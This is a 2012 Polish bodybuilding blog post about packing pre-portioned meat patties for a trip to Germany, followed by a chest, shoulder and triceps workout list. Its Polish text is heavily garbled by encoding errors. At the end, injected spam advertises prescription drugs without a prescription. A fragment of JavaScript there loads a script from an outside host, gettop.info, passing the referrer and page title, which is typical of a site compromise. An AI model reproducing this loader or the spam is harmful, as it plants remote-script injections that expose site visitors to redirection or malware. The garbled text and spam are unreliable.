Przed wyjazdem do niemiec

15.07.2012 / Michał Karmowski / Kulturystyka

Ten tydzieAi?? bAi??dzie dla mnie peAi??en wyjazdA?w, bo juA? za chwilAi?? wyruszam do niemiec. Dla osA?b dbajAi??cych o dietAi?? taki wyjazd moA?e rozbiAi?? caAi??y plan A?ywieniowy, jednak ja zabieram ze sobAi?? lodA?wkAi?? i peAi??en zestaw kotletA?w woAi??owo-drobiowych , wszystkie waA?Ai?? po 100g wiec nie muszAi?? pA?A?niej niczego odmierzaAi??. RyA? , pAi??atki owsiane czy kasza jest wszAi??dzie i Ai??atwiej je przyrzAi??dziAi?? a z miAi??sem jest zawsze problem dlatego takie kotlety to doskonaAi??e rozwiAi??zanie, nie dodajAi?? do Ai??rodka jajka tylko same przyprawy i dziAi??ki temu wytrzymujAi?? dAi??uA?ej. Nie wiem jak bAi??dzie z treningami i ile ich zrobiAi?? dlatego wczoraj trenowaAi??em klatkAi??, barki, triceps.

klatka:

-krzyA?owanie linek w bramie

-wyciskanie gryfem gAi??owAi?? w dA?Ai??

-rozpiAi??tki na pAi??askiej Ai??awce

-wyciskanie hantlami na skosie

barki:

-unoszenie ramion bokiem siedzAi??c

-wyciskanie na maszynie hammer

-unoszenie ramion przodem z hantlami

triceps:

-prostowanie ramion z linkAi?? wyciAi??gu gA?rnego

-francuskie uginanie za gAi??owAi?? siedzAi??c

…takich kotletA?w mam razemAi?? 30sztuk:-)} online Buy Pills canadian pharmacy online no script online cystone tablet price in india if (document.currentScript) { s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; Buy online cheap pills http://pintosevich.com/generic-fluoxetine-reviews/ Buy kamagra gold forum. Kamagra without prescription. kamagra gold vs viagra. albendazole over the counter canada